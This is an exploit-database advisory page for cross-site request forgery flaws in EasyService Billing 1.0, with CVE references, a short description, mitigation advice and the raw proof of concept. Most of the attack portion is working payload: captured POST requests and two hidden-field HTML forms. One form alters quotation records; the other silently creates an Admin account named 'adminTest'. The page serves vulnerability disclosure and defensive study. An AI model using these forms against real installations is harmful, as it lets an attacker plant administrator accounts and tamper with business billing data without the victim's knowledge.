EasyService Billing 1.0 Multiple Cross-Site Request Forgery

vendor:

EasyService Billing

by:

Divya Jain

8.8

CVSS

HIGH

Cross-Site Request Forgery

352,352

CWE

Product Name: EasyService Billing

Affected Version From: EasyService Billing 1.0

Affected Version To: EasyService Billing 1.0

Patch Exists: NO

Related CWE: CVE-2018-11445,CVE-2018-11442

CPE: a:codecanyon:easyservice_billing

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: KaLi LinuX_x64

2018

EasyService Billing 1.0 Multiple Cross-Site Request Forgery

EasyService Billing 1.0 is vulnerable to Cross-Site Request Forgery (CSRF) attacks. An attacker can exploit this vulnerability to perform malicious actions on behalf of the authenticated user. The attacker can send a malicious request to the vulnerable application and perform actions such as creating a new user or modifying existing user details. The attacker can also modify the quotation details of an existing user.

Mitigation:

The application should implement a CSRF token in the request to verify that the request is coming from an authenticated user. The application should also implement a CAPTCHA to verify that the request is coming from a human user.

Source

Exploit-DB raw data:

<!--
# Exploit Title: EasyService Billing 1.0 Multiple Cross-Site Request Forgery
# Date: 25-05-2018
# Software Link: https://codecanyon.net/item/easyservice-billing-php-scripts-for-quotation-invoice-payments-etc/16687594 
# Exploit Author: Divya Jain
# Version: EasyService Billing 1.0 
# CVE: CVE-2018-11445,CVE-2018-11442
# Category: Webapps
# Severity: Medium
# Tested on: KaLi LinuX_x64
# # # # # # # #
#
# Proof of Concept:
           //////////////////////////
          / CSRF in Quotation Page /
         //////////////////////////
# Initial Request:

POST /EasyServiceBilling/quotation-new3-new2.php?add=true&id=139 HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://test.com/EasyServiceBilling/quotation-new3-new2.php?add=true&id=139
Cookie: tntcon=5078855aa89b90f68de5644f75495364a4xn; PHPSESSID=58bf7e8rf0jpiepg3iu7larrj2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 86

quotation_id=139&quotation_no=249&des=test&button=Save&MM_update=form1&MM_insert=form1

# CSRF POC:

<html>
 <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://test.com/EasyServiceBilling/quotation-new3-new2.php?add=true&id=139" method="POST">
      <input type="hidden" name="quotation&#95;id" value="139" />
      <input type="hidden" name="quotation&#95;no" value="249" />
      <input type="hidden" name="des" value="testnew" />
      <input type="hidden" name="button" value="Save" />
      <input type="hidden" name="MM&#95;update" value="form1" />
      <input type="hidden" name="MM&#95;insert" value="form1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

           ///////////////////////////
          // CSRF in User Add Page //
         ///////////////////////////
         
# Initial Request

POST /EasyServiceBilling/system-settings-user-new2.php? HTTP/1.1
Host: test.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://test.com/EasyServiceBilling/system-settings-user-new2.php
Cookie: tntcon=ea1c7cc27fc02e6abf755d54fa60a8a8a4xn; PHPSESSID=kao38vbne4c4s9s0587o8h99e6
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 36

type=Admin&un=a&pw=b&MM_insert=form1
         
# CSRF POC

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://test.com/EasyServiceBilling/system-settings-user-new2.php?" method="POST">
      <input type="hidden" name="type" value="Admin" />
      <input type="hidden" name="un" value="adminTest" />
      <input type="hidden" name="pw" value="adminTest" />
      <input type="hidden" name="MM&#95;insert" value="form1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
         
-->